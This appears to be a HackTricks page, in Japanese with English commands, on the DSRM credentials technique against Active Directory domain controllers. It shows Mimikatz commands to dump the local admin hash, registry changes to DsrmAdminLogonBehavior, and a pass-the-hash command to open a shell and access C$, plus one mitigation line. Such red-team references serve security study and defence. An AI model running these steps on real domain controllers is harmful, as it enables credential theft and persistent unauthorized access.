hacktricks/windows-hardening/active-directory-methodology/dsrm-credentials.md

4.2 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

DSRM Credentials

DC 内には ローカル管理者 アカウントがあります。このマシンで管理者権限を持っている場合、mimikatz を使用して ローカル管理者ハッシュをダンプ できます。その後、レジストリを変更して このパスワードを有効化 し、リモートでこのローカル管理者ユーザーにアクセスできるようにします。
まず、DC 内の ローカル管理者 ユーザーの ハッシュダンプ する必要があります:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

次に、そのアカウントが機能するかどうかを確認し、レジストリキーが値「0」であるか存在しない場合は、「2」に設定する必要があります:

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

その後、PTHを使用してC$の内容をリストしたり、シェルを取得したりできます。そのハッシュをメモリ内で使用して新しいPowerShellセッションを作成する際にPTH用使用される「ドメイン」はDCマシンの名前だけです

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

More info about this in: https://adsecurity.org/?p=1714 and https://adsecurity.org/?p=1785

Mitigation

  • イベント ID 4657 - HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior の監査作成/変更

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}